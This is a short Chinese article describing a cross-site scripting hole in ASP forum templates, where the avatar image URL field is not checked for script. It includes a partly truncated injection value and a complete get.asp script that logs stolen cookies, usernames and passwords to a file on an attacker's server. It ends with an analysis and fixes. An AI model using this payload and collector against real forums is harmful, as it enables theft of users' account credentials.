ASP论坛的致命漏洞
网络与通信
现在网上有许多各式各样的ASP论坛,但大多都是套用现成的模板(如比较有名的网虫资讯超级论坛,至少有上百个网站在使用,校园网内尤多)开发的,因此一旦模板出现了安全上的漏洞,管理员往往会不知所措。下面介绍的漏洞,存在于许多提供了自定义肖像图片URL地址功能的ASP论坛中。
有意偷取密码的用户只要能找到一台IIS服务器,上传thief.js和get.asp两个文件,然后在论坛注册时,在肖像图片URL地址中填入http://xxx/x.gif"> setTimeout("hello.close()",10000);
http://IIS服务器地址/get.asp中的内容为:
<%
c=Request.QueryString("Cookie")
pword=Request.QueryString("Pword") '不一定为Pword、Name,依据论坛模板而定
name=Request.QueryString("Name")
Dim fs, f
Set fs = CreateObject("Scripting.FileSystemObject")
Set f =fs.OpenTextFile(server.MapPath ("password.txt"),8 ,true)
f.Write c
f.Write "Name:" & name
f.Write "PWD:" & pword
f.Close
%>
漏洞分析:该漏洞的出现关键在于疏忽了对肖像图片URL地址的安全检验。常见的检验只有是否为有效的URL路径(以http://开头)或是否为有效的图片(以.gif、.jpg...结尾)等,而忽略了地址中可能会含有的脚本(以前的很多聊天室也都存在这个问题,如聊天时输入一段脚本可以让所有的人死机)。当用户访问论坛,文章中显示肖像图片时,ASP程序自动将URL地址输出,结果被浏览器解释执行为
,最终导致打开get.asp,从而泄露了含有用户账号密码的Cookie。
解决方法:最简单直接的办法就是取消该功能,将输入肖像图片URL地址的文本框删去,不必懂ASP。当然,最好是在读取地址时多加上一条检验是否含脚本的代码。